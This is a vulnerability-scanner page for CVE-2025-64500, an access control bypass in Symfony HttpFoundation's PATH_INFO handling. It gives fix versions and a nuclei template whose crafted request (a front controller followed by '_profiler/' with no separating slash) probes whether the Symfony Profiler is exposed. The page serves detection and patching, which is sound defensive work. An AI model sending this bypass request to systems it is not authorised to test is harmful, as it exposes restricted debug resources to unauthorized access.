HexBrain

Browse / CVEs / CVE-2025-64500

CVE-2025-64500· sensiolabs / symfony· CWE-647

Symfony HttpFoundation - Access Control Bypass via PATH_INFO

highseverity
7.3CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it

Symfony HttpFoundation component >= 2.0.0 and prior to versions 5.4.50, 6.4.29, and 7.3.7 contains an access control bypass vulnerability. The Request class improperly interprets some PATH_INFO values, producing URL paths without a leading `/`. This allows bypassing access control rules that are built with the `/-prefix` assumption.

Impact

Attackers can bypass access control rules, potentially gaining unauthorized access to restricted resources.

Fix

Update to Symfony versions 5.4.50, 6.4.29, or 7.3.7 or later.

How to confirm it

Send: GET /{{front_controller}}_profiler/
Positive when: contains "Symfony Profiler" or "<title>Profiler</title>" or "Symfony-Debug-Toolbar"

Run it with nuclei: nuclei -id CVE-2025-64500 -u <target>

The full check
id: CVE-2025-64500

info:
  name: Symfony HttpFoundation - Access Control Bypass via PATH_INFO
  author: DhiyaneshDk
  severity: high
  description: |
    Symfony HttpFoundation component >= 2.0.0 and prior to versions 5.4.50, 6.4.29, and 7.3.7 contains an access control bypass vulnerability. The Request class improperly interprets some PATH_INFO values, producing URL paths without a leading `/`. This allows bypassing access control rules that are built with the `/-prefix` assumption.
  impact: |
    Attackers can bypass access control rules, potentially gaining unauthorized access to restricted resources.
  remediation: Update to Symfony versions 5.4.50, 6.4.29, or 7.3.7 or later.
  reference:
    - https://github.com/symfony/symfony/security/advisories/GHSA-3rg7-wf37-54rm
    - https://symfony.com/blog/cve-2025-64500-incorrect-parsing-of-path-info-can-lead-to-limited-authorization-bypass
    - https://github.com/symfony/symfony/commit/9962b91b12bb791322fa73836b350836b6db7cac
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64500
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2025-64500
    cwe-id: CWE-647
    epss-score: 0.01408
    epss-percentile: 0.72849
  metadata:
    verified: true
    max-request: 2
    vendor: sensiolabs
    product: symfony
    shodan-query: cpe:"cpe:2.3:a:sensiolabs:symfony"
  tags: cve,cve2025,symfony,auth-bypass

http:
  - raw:
      - |
        GET /{{front_controller}}_profiler/ HTTP/1.1
        Host: {{Hostname}}

    payloads:
      front_controller:
        - "index.php"
        - "app.php"

    stop-at-first-match: true

    matchers:
      - type: word
        part: body
        words:
          - "Symfony Profiler"
          - "<title>Profiler</title>"
          - "Symfony-Debug-Toolbar"
        condition: or

References

Use this check only on systems you are authorised to test. Where the data comes from